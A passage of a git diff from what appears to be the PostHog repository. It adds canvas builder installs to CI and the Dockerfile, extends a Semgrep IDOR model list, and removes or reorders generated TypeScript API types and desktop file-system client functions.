diff --git a/.depot/workflows/ci-backend.yml b/.depot/workflows/ci-backend.yml index 305b4627bf65..25e5aa28fa10 100644 --- a/.depot/workflows/ci-backend.yml +++ b/.depot/workflows/ci-backend.yml @@ -1675,6 +1675,10 @@ jobs: shell: bash run: | UV_PROJECT_ENVIRONMENT=$pythonLocation uv sync --frozen --dev + - name: Install canvas builder dependencies + if: ${{ needs.changes.outputs.backend == 'true' && matrix.segment == 'Core' }} + shell: bash + run: npm ci --ignore-scripts --omit=dev --prefix products/canvas/packages/canvas_builder - name: Install the working version of hogql-parser if: ${{ needs.changes.outputs.backend == 'true' && steps.hogql-parser-diff.outputs.changed == 'true' }} shell: bash diff --git a/.dockerignore b/.dockerignore index 012c0b973c8d..f544be0ccfdd 100644 --- a/.dockerignore +++ b/.dockerignore @@ -3,6 +3,7 @@ !.devcontainer !.kearc !bin +!common/alerting !common/hogvm !common/esbuilder !common/migration_utils diff --git a/.github/workflows/ci-backend.yml b/.github/workflows/ci-backend.yml index 6a1d53f0701b..145a50828fa2 100644 --- a/.github/workflows/ci-backend.yml +++ b/.github/workflows/ci-backend.yml @@ -161,6 +161,7 @@ jobs: # widening or fixing the script doesn't trigger # tests it controls. - 'products/*/package.json' + - 'products/canvas/packages/canvas_builder/**' - bin/build-schema-latest-versions.py - bin/build-taxonomy-json.py - bin/check_uv_python_compatibility.py @@ -2624,6 +2625,20 @@ jobs: run: | UV_PROJECT_ENVIRONMENT=$pythonLocation uv sync --frozen --dev + - name: Set up Node.js for canvas builder + if: ${{ needs.changes.outputs.backend == 'true' && matrix.segment == 'Core' && hashFiles('products/canvas/packages/canvas_builder/package.json') != '' }} + uses: actions/setup-node@6044e13b5dc448c55e2357c09f80417699197238 # v6.2.0 + with: + node-version-file: .nvmrc + + - name: Install canvas builder dependencies + if: ${{ needs.changes.outputs.backend == 'true' && matrix.segment == 'Core' }} + shell: bash + run: | + if [[ -f products/canvas/packages/canvas_builder/package.json ]]; then + npm ci --ignore-scripts --omit=dev --prefix products/canvas/packages/canvas_builder + fi + - name: Install the working version of hogql-parser if: ${{ needs.changes.outputs.backend == 'true' && steps.hogql-parser-diff.outputs.changed == 'true' }} shell: bash diff --git a/.semgrep/rules/security/idor-team-scoped-models.yaml b/.semgrep/rules/security/idor-team-scoped-models.yaml index 1ef9b0623147..d81c87c870cf 100644 --- a/.semgrep/rules/security/idor-team-scoped-models.yaml +++ b/.semgrep/rules/security/idor-team-scoped-models.yaml @@ -85,7 +85,13 @@ rules: |BatchImport |BriefConfig |ButtonTile + |Canvas + |CanvasBuild + |CanvasSourceVersion |ChangeRequest + |ChannelContextGeneration + |ChannelInstructions + |ChannelStar |ClusteringConfig |ClusteringJob |Cohort @@ -422,7 +428,13 @@ rules: |BatchImport |BriefConfig |ButtonTile + |Canvas + |CanvasBuild + |CanvasSourceVersion |ChangeRequest + |ChannelContextGeneration + |ChannelInstructions + |ChannelStar |ClusteringConfig |ClusteringJob |Cohort diff --git a/Dockerfile b/Dockerfile index 6c39ed6c5db7..f935d7805c01 100644 --- a/Dockerfile +++ b/Dockerfile @@ -119,6 +119,10 @@ RUN --mount=type=cache,id=pnpm,target=/tmp/pnpm-store-v24 \ NODE_OPTIONS="--max-old-space-size=4096" CI=1 pnpm --filter=@posthog/plugin-transpiler... install --frozen-lockfile --store-dir /tmp/pnpm-store-v24 && \ NODE_OPTIONS="--max-old-space-size=4096" bin/turbo --filter=@posthog/plugin-transpiler build +COPY products/canvas/packages/canvas_builder/ products/canvas/packages/canvas_builder/ +RUN --mount=type=cache,id=npm,target=/root/.npm \ + npm ci --ignore-scripts --omit=dev --prefix products/canvas/packages/canvas_builder + # The transpiler bundle externalizes @babel/standalone (its only external runtime require — a # self-contained 24MB package with no deps). Materialize it as real files inside the transpiler's # own node_modules, replacing the pnpm symlink that pointed into the root node_modules. The final @@ -396,6 +400,7 @@ ENV TIKTOKEN_CACHE_DIR=/code/.tiktoken_cache COPY --from=node-scripts-build --chown=posthog:posthog /code/common/plugin_transpiler/dist /code/common/plugin_transpiler/dist COPY --from=node-scripts-build --chown=posthog:posthog /code/common/plugin_transpiler/node_modules /code/common/plugin_transpiler/node_modules COPY --from=node-scripts-build --chown=posthog:posthog /code/common/plugin_transpiler/package.json /code/common/plugin_transpiler/package.json +COPY --from=node-scripts-build --chown=posthog:posthog /code/products/canvas/packages/canvas_builder /code/products/canvas/packages/canvas_builder # Add in custom bin files and Django deps. COPY --chown=posthog:posthog ./bin ./bin/ diff --git a/frontend/snapshots.yml b/frontend/snapshots.yml index dbbd6d45fb54..55951991bfce 100644 --- a/frontend/snapshots.yml +++ b/frontend/snapshots.yml @@ -5561,7 +5561,7 @@ snapshots: scenes-app-dashboards--access-control-dashboard--dark: hash: v1.k794b7964.0d8f4e16f3bcd82f492569c9d57e00e8832cf39bfed4b85d9c2aaf69e81031d6.uSc9iCdSK_l3raRHxIVu7tVsgyKSOLoGZX2jcR3UOCo scenes-app-dashboards--access-control-dashboard--light: - hash: v1.k794b7964.f16ba333bf49a1b30216b2894b72a21cd43fba51b4ba02c52ecb12dd5130217e.lgORqVL8Rd6GEs-a3La1aIE2mFS0Adv-jpkXK9Rxodk + hash: v1.k794b7964.2a7218a37b2ddef398f5014ce00453fcdc1b4619ff85853b821c1344c8242053.DuVPcy6HzLcslw0RnsYXUbh5G_FGGYc7v2up3anNK0w scenes-app-dashboards--edit--dark: hash: v1.k794b7964.b85e622d121e2edfb031fec73921ba7d775a50124f5d68c8c82ad28a51985434.eFMlXYTQdWLdvwn7YobjvgCNrFbx2IMXMt2Lzs0yyo4 scenes-app-dashboards--edit--light: diff --git a/frontend/src/generated/core/api.schemas.ts b/frontend/src/generated/core/api.schemas.ts index fadb3167bfa3..7b74945ac67d 100644 --- a/frontend/src/generated/core/api.schemas.ts +++ b/frontend/src/generated/core/api.schemas.ts @@ -2743,6 +2743,64 @@ export interface SharingConfigurationApi { readonly user_access_level: string | null } +/** + * * `image/png` - image/png + * * `application/pdf` - application/pdf + * * `text/csv` - text/csv + * * `application/vnd.openxmlformats-officedocument.spreadsheetml.sheet` - application/vnd.openxmlformats-officedocument.spreadsheetml.sheet + * * `video/webm` - video/webm + * * `video/mp4` - video/mp4 + * * `image/gif` - image/gif + * * `application/json` - application/json + */ +export type ExportFormatEnumApi = (typeof ExportFormatEnumApi)[keyof typeof ExportFormatEnumApi] + +export const ExportFormatEnumApi = { + ImagePng: 'image/png', + ApplicationPdf: 'application/pdf', + TextCsv: 'text/csv', + ApplicationVndopenxmlformatsOfficedocumentspreadsheetmlsheet: + 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet', + VideoWebm: 'video/webm', + VideoMp4: 'video/mp4', + ImageGif: 'image/gif', + ApplicationJson: 'application/json', +} as const + +/** + * Standard ExportedAsset serializer that doesn't return content. + */ +export interface ExportedAssetApi { + readonly id: number + /** @nullable */ + dashboard?: number | null + /** @nullable */ + insight?: number | null + export_format: ExportFormatEnumApi + readonly created_at: string + readonly has_content: boolean + export_context?: unknown + readonly filename: string + /** @nullable */ + readonly expires_after: string | null + /** @nullable */ + readonly exception: string | null + /** + * The effective access level the user has for this object + * @nullable + */ + readonly user_access_level: string | null +} + +export interface PaginatedExportedAssetListApi { + count: number + /** @nullable */ + next?: string | null + /** @nullable */ + previous?: string | null + results: ExportedAssetApi[] +} + export interface FileSystemApi { readonly id: string path: string @@ -2808,116 +2866,6 @@ export interface PatchedFileSystemApi { readonly user_access_level?: string | null } -/** - * Payload for publishing a freeform canvas's React source via the agent. - */ -export interface PatchedCanvasPublishApi { - /** The complete single-file React source for the canvas. */ - code?: string - /** Short description of the change, stored on the appended version history entry. */ - prompt?: string - /** Optional new display name for the canvas (rewrites the leaf segment of its path). */ - name?: string - /** - * Optimistic-concurrency guard: the currentVersionId the publisher based its edits on (null when it read a canvas with no versions yet). When provided and the canvas has since moved past it (a concurrent publish, or a user's undo) the publish is rejected with a 409 version_conflict instead of overwriting the newer head. Omit to publish unguarded. - * @nullable - */ - expected_current_version_id?: string | null -} - -/** - * 409 body for a guarded canvas publish based on a stale version. - */ -export interface CanvasPublishConflictApi { - /** Human-readable description of the conflict and how to recover. */ - detail: string - /** Always "version_conflict". */ - code: string - /** - * The canvas's live currentVersionId at rejection time (null when the canvas has no versions). - * @nullable - */ - current_version_id: string | null -} - -export interface ContextGenerationApi { - /** - * ID of the Task currently generating this folder's CONTEXT.md, or null if none. - * @nullable - */ - task_id: string | null -} - -export interface ContextGenerationSetApi { - /** - * ID of the Task generating this folder's CONTEXT.md. Must reference a Task in the same team. Set to null to clear the association. - * @nullable - */ - task_id: string | null -} - -export interface FolderInstructionsApi { - /** Unique identifier for this instructions version. */ - readonly id: string - /** Markdown instructions describing the contents of the folder. */ - readonly content: string - /** Monotonically increasing version number, starting at 1. */ - readonly version: number - /** Whether this is the current (latest) version for the folder. */ - readonly is_latest: boolean - /** User who published this version. */ - readonly created_by: UserBasicApi - /** When this version was published. */ - readonly created_at: string - /** When this version row was last modified. */ - readonly updated_at: string -} - -export interface FolderInstructionsPublishApi { - /** Full markdown instructions to publish as a new version for the folder. */ - content: string - /** - * Latest version you are editing from, for optimistic concurrency. If provided and the folder's instructions have changed since, the request fails with 409. Use 0 when no instructions exist yet. - * @minimum 0 - */ - base_version?: number -} - -export interface PatchedFolderInstructionsPublishApi { - /** Full markdown instructions to publish as a new version for the folder. */ - content?: string - /** - * Latest version you are editing from, for optimistic concurrency. If provided and the folder's instructions have changed since, the request fails with 409. Use 0 when no instructions exist yet. - * @minimum 0 - */ - base_version?: number -} - -/** - * Version-history entry: metadata only, with the markdown content omitted. - */ -export interface FolderInstructionsVersionApi { - /** Unique identifier for this instructions version. */ - readonly id: string - /** Monotonically increasing version number, starting at 1. */ - readonly version: number - /** Whether this is the current (latest) version for the folder. */ - readonly is_latest: boolean - /** User who published this version. */ - readonly created_by: UserBasicApi - /** When this version was published. */ - readonly created_at: string -} - -export interface PaginatedFolderInstructionsVersionListApi { - count: number - /** @nullable */ - next?: string | null - /** @nullable */ - previous?: string | null - results: FolderInstructionsVersionApi[] -} - export interface FileSystemShortcutApi { readonly id: string /** Display path of the shortcut in the sidebar. */ @@ -3000,64 +2948,6 @@ export interface FileSystemShortcutReorderApi { ordered_ids: string[] } -/** - * * `image/png` - image/png - * * `application/pdf` - application/pdf - * * `text/csv` - text/csv - * * `application/vnd.openxmlformats-officedocument.spreadsheetml.sheet` - application/vnd.openxmlformats-officedocument.spreadsheetml.sheet - * * `video/webm` - video/webm - * * `video/mp4` - video/mp4 - * * `image/gif` - image/gif - * * `application/json` - application/json - */ -export type ExportFormatEnumApi = (typeof ExportFormatEnumApi)[keyof typeof ExportFormatEnumApi] - -export const ExportFormatEnumApi = { - ImagePng: 'image/png', - ApplicationPdf: 'application/pdf', - TextCsv: 'text/csv', - ApplicationVndopenxmlformatsOfficedocumentspreadsheetmlsheet: - 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet', - VideoWebm: 'video/webm', - VideoMp4: 'video/mp4', - ImageGif: 'image/gif', - ApplicationJson: 'application/json', -} as const - -/** - * Standard ExportedAsset serializer that doesn't return content. - */ -export interface ExportedAssetApi { - readonly id: number - /** @nullable */ - dashboard?: number | null - /** @nullable */ - insight?: number | null - export_format: ExportFormatEnumApi - readonly created_at: string - readonly has_content: boolean - export_context?: unknown - readonly filename: string - /** @nullable */ - readonly expires_after: string | null - /** @nullable */ - readonly exception: string | null - /** - * The effective access level the user has for this object - * @nullable - */ - readonly user_access_level: string | null -} - -export interface PaginatedExportedAssetListApi { - count: number - /** @nullable */ - next?: string | null - /** @nullable */ - previous?: string | null - results: ExportedAssetApi[] -} - /** * * `conversations` - conversations * * `error_tracking` - error_tracking @@ -4057,47 +3947,6 @@ export type OrganizationsProjectsListParams = { search?: string } -export type DesktopFileSystemListParams = { - /** - * Number of results to return per page. - */ - limit?: number - /** - * The initial index from which to return the results. - */ - offset?: number - /** - * A search term. - */ - search?: string -} - -export type DesktopFileSystemInstructionsVersionsListParams = { - /** - * Number of results to return per page. - */ - limit?: number - /** - * The initial index from which to return the results. - */ - offset?: number - /** - * A search term. - */ - search?: string -} - -export type DesktopFileSystemShortcutListParams = { - /** - * Number of results to return per page. - */ - limit?: number - /** - * The initial index from which to return the results. - */ - offset?: number -} - export type ExportsListParams = { /** * Number of results to return per page. diff --git a/frontend/src/generated/core/api.ts b/frontend/src/generated/core/api.ts index 114ea750bb72..5b74b5560efa 100644 --- a/frontend/src/generated/core/api.ts +++ b/frontend/src/generated/core/api.ts @@ -14,11 +14,6 @@ import type { CIMDVerificationTokenApi, CIMDVerificationTokenWithValueApi, CimdVerificationTokensListParams, - ContextGenerationApi, - ContextGenerationSetApi, - DesktopFileSystemInstructionsVersionsListParams, - DesktopFileSystemListParams, - DesktopFileSystemShortcutListParams, DomainsListParams, EnterprisePropertyDefinitionApi, ExportedAssetApi, @@ -28,8 +23,6 @@ import type { FileSystemShortcutApi, FileSystemShortcutListParams, FileSystemShortcutReorderApi, - FolderInstructionsApi, - FolderInstructionsPublishApi, GitHubBranchesResponseApi, GitHubReposRefreshResponseApi, GitHubReposResponseApi, @@ -47,7 +40,6 @@ import type { PaginatedExportedAssetListApi, PaginatedFileSystemListApi, PaginatedFileSystemShortcutListApi, - PaginatedFolderInstructionsVersionListApi, PaginatedIdentityProviderConfigListApi, PaginatedOrganizationDomainListApi, PaginatedOrganizationInviteListApi, @@ -56,11 +48,9 @@ import type { PaginatedProjectSecretAPIKeyListApi, PaginatedUserGitHubIntegrationListResponseListApi, PaginatedUserListApi, - PatchedCanvasPublishApi, PatchedEnterprisePropertyDefinitionApi, PatchedFileSystemApi, PatchedFileSystemShortcutApi, - PatchedFolderInstructionsPublishApi, PatchedIdentityProviderConfigApi, PatchedOrganizationDomainApi, PatchedProjectBackwardCompatApi, @@ -1292,664 +1282,6 @@ export const dashboardsSharingRefreshCreate = async ( }) } -export const getDesktopFileSystemListUrl = (projectId: string, params?: DesktopFileSystemListParams) => { - const normalizedParams = new URLSearchParams() - - Object.entries(params || {}).forEach(([key, value]) => { - if (value !== undefined) { - normalizedParams.append(key, value === null ? 'null' : String(value)) - } - }) - - const stringifiedParams = normalizedParams.toString() - - return stringifiedParams.length > 0 - ? `/api/projects/${projectId}/desktop_file_system/?${stringifiedParams}` - : `/api/projects/${projectId}/desktop_file_system/` -} - -/** - * The file tree for the desktop product surface. Reuses all FileSystemViewSet behaviour but is - * scoped to the "desktop" surface, so its tree is fully isolated from the default "web" tree. - * - * Adds per-folder, versioned markdown instructions describing the contents of a folder. - */ -export const desktopFileSystemList = async ( - projectId: string, - params?: DesktopFileSystemListParams, - options?: RequestInit -): Promise => { - return apiMutator(getDesktopFileSystemListUrl(projectId, params), { - ...options, - method: 'GET', - }) -} - -export const getDesktopFileSystemCreateUrl = (projectId: string) => { - return `/api/projects/${projectId}/desktop_file_system/` -} - -/** - * The file tree for the desktop product surface. Reuses all FileSystemViewSet behaviour but is - * scoped to the "desktop" surface, so its tree is fully isolated from the default "web" tree. - * - * Adds per-folder, versioned markdown instructions describing the contents of a folder. - */ -export const desktopFileSystemCreate = async ( - projectId: string, - fileSystemApi: NonReadonly, - options?: RequestInit -): Promise => { - return apiMutator(getDesktopFileSystemCreateUrl(projectId), { - ...options, - method: 'POST', - headers: { 'Content-Type': 'application/json', ...options?.headers }, - body: JSON.stringify(fileSystemApi), - }) -} - -export const getDesktopFileSystemRetrieveUrl = (projectId: string, id: string) => { - return `/api/projects/${projectId}/desktop_file_system/${id}/` -} - -/** - * The file tree for the desktop product surface. Reuses all FileSystemViewSet behaviour but is - * scoped to the "desktop" surface, so its tree is fully isolated from the default "web" tree. - * - * Adds per-folder, versioned markdown instructions describing the contents of a folder. - */ -export const desktopFileSystemRetrieve = async ( - projectId: string, - id: string, - options?: RequestInit -): Promise => { - return apiMutator(getDesktopFileSystemRetrieveUrl(projectId, id), { - ...options, - method: 'GET', - }) -} - -export const getDesktopFileSystemUpdateUrl = (projectId: string, id: string) => { - return `/api/projects/${projectId}/desktop_file_system/${id}/` -} - -/** - * The file tree for the desktop product surface. Reuses all FileSystemViewSet behaviour but is - * scoped to the "desktop" surface, so its tree is fully isolated from the default "web" tree. - * - * Adds per-folder, versioned markdown instructions describing the contents of a folder. - */ -export const desktopFileSystemUpdate = async ( - projectId: string, - id: string, - fileSystemApi: NonReadonly, - options?: RequestInit -): Promise => { - return apiMutator(getDesktopFileSystemUpdateUrl(projectId, id), { - ...options, - method: 'PUT', - headers: { 'Content-Type': 'application/json', ...options?.headers }, - body: JSON.stringify(fileSystemApi), - }) -} - -export const getDesktopFileSystemPartialUpdateUrl = (projectId: string, id: string) => { - return `/api/projects/${projectId}/desktop_file_system/${id}/` -} - -/** - * The file tree for the desktop product surface. Reuses all FileSystemViewSet behaviour but is - * scoped to the "desktop" surface, so its tree is fully isolated from the default "web" tree. - * - * Adds per-folder, versioned markdown instructions describing the contents of a folder. - */ -export const desktopFileSystemPartialUpdate = async ( - projectId: string, - id: string, - patchedFileSystemApi?: NonReadonly, - options?: RequestInit -): Promise => { - return apiMutator(getDesktopFileSystemPartialUpdateUrl(projectId, id), { - ...options, - method: 'PATCH', - headers: { 'Content-Type': 'application/json', ...options?.headers }, - body: JSON.stringify(patchedFileSystemApi), - }) -} - -export const getDesktopFileSystemDestroyUrl = (projectId: string, id: string) => { - return `/api/projects/${projectId}/desktop_file_system/${id}/` -} - -/** - * The file tree for the desktop product surface. Reuses all FileSystemViewSet behaviour but is - * scoped to the "desktop" surface, so its tree is fully isolated from the default "web" tree. - * - * Adds per-folder, versioned markdown instructions describing the contents of a folder. - */ -export const desktopFileSystemDestroy = async (projectId: string, id: string, options?: RequestInit): Promise => { - return apiMutator(getDesktopFileSystemDestroyUrl(projectId, id), { - ...options, - method: 'DELETE', - }) -} - -export const getDesktopFileSystemCanvasPartialUpdateUrl = (projectId: string, id: string) => { - return `/api/projects/${projectId}/desktop_file_system/${id}/canvas/` -} - -/** - * Publish a new version of a freeform canvas's React source. - * - * Merges into the dashboard row's `meta` (never replaces it), so existing - * keys like `channelId`/`templateId` survive. Appends a full-file version - * snapshot and points `currentVersionId` at it — the server-side mirror of - * the app's dashboardsService.saveFreeform, including the linear-discard of - * any redo tail left behind by an undo. When the publisher passes - * `expected_current_version_id`, a publish based on a stale version is - * rejected with 409 `version_conflict` instead of overwriting the newer head. - */ -export const desktopFileSystemCanvasPartialUpdate = async ( - projectId: string, - id: string, - patchedCanvasPublishApi?: PatchedCanvasPublishApi, - options?: RequestInit -): Promise => { - return apiMutator(getDesktopFileSystemCanvasPartialUpdateUrl(projectId, id), { - ...options, - method: 'PATCH', - headers: { 'Content-Type': 'application/json', ...options?.headers }, - body: JSON.stringify(patchedCanvasPublishApi), - }) -} - -export const getDesktopFileSystemContextGenerationRetrieveUrl = (projectId: string, id: string) => { - return `/api/projects/${projectId}/desktop_file_system/${id}/context_generation/` -} - -/** - * Return the Task currently generating this folder's CONTEXT.md, or null if none. - */ -export const desktopFileSystemContextGenerationRetrieve = async ( - projectId: string, - id: string, - options?: RequestInit -): Promise => { - return apiMutator(getDesktopFileSystemContextGenerationRetrieveUrl(projectId, id), { - ...options, - method: 'GET', - }) -} - -export const getDesktopFileSystemContextGenerationUpdateUrl = (projectId: string, id: string) => { - return `/api/projects/${projectId}/desktop_file_system/${id}/context_generation/` -} - -/** - * Set or clear the Task associated with this folder's CONTEXT.md generation. - */ -export const desktopFileSystemContextGenerationUpdate = async ( - projectId: string, - id: string, - contextGenerationSetApi: ContextGenerationSetApi, - options?: RequestInit -): Promise => { - return apiMutator(getDesktopFileSystemContextGenerationUpdateUrl(projectId, id), { - ...options, - method: 'PUT', - headers: { 'Content-Type': 'application/json', ...options?.headers }, - body: JSON.stringify(contextGenerationSetApi), - }) -} - -export const getDesktopFileSystemCountCreateUrl = (projectId: string, id: string) => { - return `/api/projects/${projectId}/desktop_file_system/${id}/count/` -} - -/** - * Get count of all files in a folder. - */ -export const desktopFileSystemCountCreate = async ( - projectId: string, - id: string, - fileSystemApi: NonReadonly, - options?: RequestInit -): Promise => { - return apiMutator(getDesktopFileSystemCountCreateUrl(projectId, id), { - ...options, - method: 'POST', - headers: { 'Content-Type': 'application/json', ...options?.headers }, - body: JSON.stringify(fileSystemApi), - }) -} - -export const getDesktopFileSystemInstructionsRetrieveUrl = (projectId: string, id: string) => { - return `/api/projects/${projectId}/desktop_file_system/${id}/instructions/` -} - -/** - * Return the latest non-deleted instructions for this folder. - */ -export const desktopFileSystemInstructionsRetrieve = async ( - projectId: string, - id: string, - options?: RequestInit -): Promise => { - return apiMutator(getDesktopFileSystemInstructionsRetrieveUrl(projectId, id), { - ...options, - method: 'GET', - }) -} - -export const getDesktopFileSystemInstructionsUpdateUrl = (projectId: string, id: string) => { - return `/api/projects/${projectId}/desktop_file_system/${id}/instructions/` -} - -/** - * Publish a new version of the folder's instructions. - */ -export const desktopFileSystemInstructionsUpdate = async ( - projectId: string, - id: string, - folderInstructionsPublishApi: FolderInstructionsPublishApi, - options?: RequestInit -): Promise => { - return apiMutator(getDesktopFileSystemInstructionsUpdateUrl(projectId, id), { - ...options, - method: 'PUT', - headers: { 'Content-Type': 'application/json', ...options?.headers }, - body: JSON.stringify(folderInstructionsPublishApi), - }) -} - -export const getDesktopFileSystemInstructionsPartialUpdateUrl = (projectId: string, id: string) => { - return `/api/projects/${projectId}/desktop_file_system/${id}/instructions/` -} - -/** - * Publish a new version of the folder's instructions. - */ -export const desktopFileSystemInstructionsPartialUpdate = async ( - projectId: string, - id: string, - patchedFolderInstructionsPublishApi?: PatchedFolderInstructionsPublishApi, - options?: RequestInit -): Promise => { - return apiMutator(getDesktopFileSystemInstructionsPartialUpdateUrl(projectId, id), { - ...options, - method: 'PATCH', - headers: { 'Content-Type': 'application/json', ...options?.headers }, - body: JSON.stringify(patchedFolderInstructionsPublishApi), - }) -} - -export const getDesktopFileSystemInstructionsDestroyUrl = (projectId: string, id: string) => { - return `/api/projects/${projectId}/desktop_file_system/${id}/instructions/` -} - -/** - * Soft-delete every version of this folder's instructions. - */ -export const desktopFileSystemInstructionsDestroy = async ( - projectId: string, - id: string, - options?: RequestInit -): Promise => { - return apiMutator(getDesktopFileSystemInstructionsDestroyUrl(projectId, id), { - ...options, - method: 'DELETE', - }) -} - -export const getDesktopFileSystemInstructionsVersionsListUrl = ( - projectId: string, - id: string, - params?: DesktopFileSystemInstructionsVersionsListParams -) => { - const normalizedParams = new URLSearchParams() - - Object.entries(params || {}).forEach(([key, value]) => { - if (value !== undefined) { - normalizedParams.append(key, value === null ? 'null' : String(value)) - } - }) - - const stringifiedParams = normalizedParams.toString() - - return stringifiedParams.length > 0 - ? `/api/projects/${projectId}/desktop_file_system/${id}/instructions/versions/?${stringifiedParams}` - : `/api/projects/${projectId}/desktop_file_system/${id}/instructions/versions/` -} - -/** - * List the version history for this folder's instructions, newest first. - */ -export const desktopFileSystemInstructionsVersionsList = async ( - projectId: string, - id: string, - params?: DesktopFileSystemInstructionsVersionsListParams, - options?: RequestInit -): Promise => { - return apiMutator( - getDesktopFileSystemInstructionsVersionsListUrl(projectId, id, params), - { - ...options, - method: 'GET', - } - ) -} - -export const getDesktopFileSystemLinkCreateUrl = (projectId: string, id: string) => { - return `/api/projects/${projectId}/desktop_file_system/${id}/link/` -} - -/** - * The file tree for the desktop product surface. Reuses all FileSystemViewSet behaviour but is - * scoped to the "desktop" surface, so its tree is fully isolated from the default "web" tree. - * - * Adds per-folder, versioned markdown instructions describing the contents of a folder. - */ -export const desktopFileSystemLinkCreate = async ( - projectId: string, - id: string, - fileSystemApi: NonReadonly, - options?: RequestInit -): Promise => { - return apiMutator(getDesktopFileSystemLinkCreateUrl(projectId, id), { - ...options, - method: 'POST', - headers: { 'Content-Type': 'application/json', ...options?.headers }, - body: JSON.stringify(fileSystemApi), - }) -} - -export const getDesktopFileSystemMoveCreateUrl = (projectId: string, id: string) => { - return `/api/projects/${projectId}/desktop_file_system/${id}/move/` -} - -/** - * The file tree for the desktop product surface. Reuses all FileSystemViewSet behaviour but is - * scoped to the "desktop" surface, so its tree is fully isolated from the default "web" tree. - * - * Adds per-folder, versioned markdown instructions describing the contents of a folder. - */ -export const desktopFileSystemMoveCreate = async ( - projectId: string, - id: string, - fileSystemApi: NonReadonly, - options?: RequestInit -): Promise => { - return apiMutator(getDesktopFileSystemMoveCreateUrl(projectId, id), { - ...options, - method: 'POST', - headers: { 'Content-Type': 'application/json', ...options?.headers }, - body: JSON.stringify(fileSystemApi), - }) -} - -export const getDesktopFileSystemCountByPathCreateUrl = (projectId: string) => { - return `/api/projects/${projectId}/desktop_file_system/count_by_path/` -} - -/** - * Get count of all files in a folder. - */ -export const desktopFileSystemCountByPathCreate = async ( - projectId: string, - fileSystemApi: NonReadonly, - options?: RequestInit -): Promise => { - return apiMutator(getDesktopFileSystemCountByPathCreateUrl(projectId), { - ...options, - method: 'POST', - headers: { 'Content-Type': 'application/json', ...options?.headers }, - body: JSON.stringify(fileSystemApi), - }) -} - -export const getDesktopFileSystemLogViewRetrieveUrl = (projectId: string) => { - return `/api/projects/${projectId}/desktop_file_system/log_view/` -} - -/** - * The file tree for the desktop product surface. Reuses all FileSystemViewSet behaviour but is - * scoped to the "desktop" surface, so its tree is fully isolated from the default "web" tree. - * - * Adds per-folder, versioned markdown instructions describing the contents of a folder. - */ -export const desktopFileSystemLogViewRetrieve = async (projectId: string, options?: RequestInit): Promise => { - return apiMutator(getDesktopFileSystemLogViewRetrieveUrl(projectId), { - ...options, - method: 'GET', - }) -} - -export const getDesktopFileSystemLogViewCreateUrl = (projectId: string) => { - return `/api/projects/${projectId}/desktop_file_system/log_view/` -} - -/** - * The file tree for the desktop product surface. Reuses all FileSystemViewSet behaviour but is - * scoped to the "desktop" surface, so its tree is fully isolated from the default "web" tree. - * - * Adds per-folder, versioned markdown instructions describing the contents of a folder. - */ -export const desktopFileSystemLogViewCreate = async ( - projectId: string, - fileSystemApi: NonReadonly, - options?: RequestInit -): Promise => { - return apiMutator(getDesktopFileSystemLogViewCreateUrl(projectId), { - ...options, - method: 'POST', - headers: { 'Content-Type': 'application/json', ...options?.headers }, - body: JSON.stringify(fileSystemApi), - }) -} - -export const getDesktopFileSystemUndoDeleteCreateUrl = (projectId: string) => { - return `/api/projects/${projectId}/desktop_file_system/undo_delete/` -} - -/** - * The file tree for the desktop product surface. Reuses all FileSystemViewSet behaviour but is - * scoped to the "desktop" surface, so its tree is fully isolated from the default "web" tree. - * - * Adds per-folder, versioned markdown instructions describing the contents of a folder. - */ -export const desktopFileSystemUndoDeleteCreate = async ( - projectId: string, - fileSystemApi: NonReadonly, - options?: RequestInit -): Promise => { - return apiMutator(getDesktopFileSystemUndoDeleteCreateUrl(projectId), { - ...options, - method: 'POST', - headers: { 'Content-Type': 'application/json', ...options?.headers }, - body: JSON.stringify(fileSystemApi), - }) -} - -export const getDesktopFileSystemUnfiledRetrieveUrl = (projectId: string) => { - return `/api/projects/${projectId}/desktop_file_system/unfiled/` -} - -/** - * The file tree for the desktop product surface. Reuses all FileSystemViewSet behaviour but is - * scoped to the "desktop" surface, so its tree is fully isolated from the default "web" tree. - * - * Adds per-folder, versioned markdown instructions describing the contents of a folder. - */ -export const desktopFileSystemUnfiledRetrieve = async (projectId: string, options?: RequestInit): Promise => { - return apiMutator(getDesktopFileSystemUnfiledRetrieveUrl(projectId), { - ...options, - method: 'GET', - }) -} - -export const getDesktopFileSystemShortcutListUrl = ( - projectId: string, - params?: DesktopFileSystemShortcutListParams -) => { - const normalizedParams = new URLSearchParams() - - Object.entries(params || {}).forEach(([key, value]) => { - if (value !== undefined) { - normalizedParams.append(key, value === null ? 'null' : String(value)) - } - }) - - const stringifiedParams = normalizedParams.toString() - - return stringifiedParams.length > 0 - ? `/api/projects/${projectId}/desktop_file_system_shortcut/?${stringifiedParams}` - : `/api/projects/${projectId}/desktop_file_system_shortcut/` -} - -/** - * Sidebar shortcuts for the desktop product surface. Reuses all FileSystemShortcutViewSet - * behaviour but is scoped to the "desktop" surface, so its shortcuts are fully isolated from - * the default "web" surface. - */ -export const desktopFileSystemShortcutList = async ( - projectId: string, - params?: DesktopFileSystemShortcutListParams, - options?: RequestInit -): Promise => { - return apiMutator(getDesktopFileSystemShortcutListUrl(projectId, params), { - ...options, - method: 'GET', - }) -} - -export const getDesktopFileSystemShortcutCreateUrl = (projectId: string) => { - return `/api/projects/${projectId}/desktop_file_system_shortcut/` -} - -/** - * Sidebar shortcuts for the desktop product surface. Reuses all FileSystemShortcutViewSet - * behaviour but is scoped to the "desktop" surface, so its shortcuts are fully isolated from - * the default "web" surface. - */ -export const desktopFileSystemShortcutCreate = async ( - projectId: string, - fileSystemShortcutApi: NonReadonly, - options?: RequestInit -): Promise => { - return apiMutator(getDesktopFileSystemShortcutCreateUrl(projectId), { - ...options, - method: 'POST', - headers: { 'Content-Type': 'application/json', ...options?.headers }, - body: JSON.stringify(fileSystemShortcutApi), - }) -} - -export const getDesktopFileSystemShortcutRetrieveUrl = (projectId: string, id: string) => { - return `/api/projects/${projectId}/desktop_file_system_shortcut/${id}/` -} - -/** - * Sidebar shortcuts for the desktop product surface. Reuses all FileSystemShortcutViewSet - * behaviour but is scoped to the "desktop" surface, so its shortcuts are fully isolated from - * the default "web" surface. - */ -export const desktopFileSystemShortcutRetrieve = async ( - projectId: string, - id: string, - options?: RequestInit -): Promise => { - return apiMutator(getDesktopFileSystemShortcutRetrieveUrl(projectId, id), { - ...options, - method: 'GET', - }) -} - -export const getDesktopFileSystemShortcutUpdateUrl = (projectId: string, id: string) => { - return 